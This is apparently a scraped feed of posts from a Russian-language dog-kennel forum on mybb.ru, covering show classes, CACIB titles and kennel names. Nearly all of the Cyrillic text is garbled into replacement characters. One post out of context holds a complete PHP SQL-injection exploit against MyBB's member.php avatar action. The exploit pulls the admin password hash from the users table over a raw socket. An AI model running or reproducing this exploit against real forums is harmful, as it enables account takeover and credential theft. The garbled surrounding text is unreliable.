�� Fanny Dog"

��

mybb@mybb.ru (Tanya2) — Fri, 18 Dec 2009 20:57:31 +0300

1) ��: ��
2) ��: ��
3) �� : 01.01.2007
4) ��: ��
5) ��: ��
6) �� (�� "Black Dog"):
7) ��: �� .

��

mybb@mybb.ru (Tanya) — Mon, 14 Dec 2009 14:18:50 +0300

��...

��

mybb@mybb.ru (DogStyle) — Sat, 12 Dec 2009 20:53:40 +0300

��

<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode('&', $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);

preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;
}

��

mybb@mybb.ru (Tanya) — Wed, 09 Dec 2009 18:18:55 +0300

�� !!! :flag:

��

mybb@mybb.ru (Tanya) — Sat, 28 Nov 2009 23:20:19 +0300

�� - � 3 �� 6 ��

�� - � 6 �� 10 ��

�� -� 10 �� 19 ��

�� - � 15 ��

�� -� 15 ��(�� 4 ��)

�� - � 15 ��(�� )

�� -� 8 ��

�� "Black star"

mybb@mybb.ru (Tanya) — Sat, 28 Nov 2009 14:26:28 +0300

�� 

4� ��- �� 4 �� . ��

�� 

4� ��-- �� 4 �� . ��

�� 

4� �CACIB- �� 4 �� .

�� 

6� ��-�� 6 �� . ��

�� 

6� ��-�� 6 �� . ��

�� 

6� CACIB-�� 6 ��

�� 

6� ��.��-�� 6 �� , � �� . ��

�� 

6� ��.��-�� 6 �� , � �� . ��

�� 

��
+
��
+
�� = ��
�� , � �� .

���� Fanny Dog"

�������� ��������

����������

��������

�������� ��������

������

��� �������� ����������� "Black star"

�� Fanny Dog"

��

��

��

��

��

�� "Black star"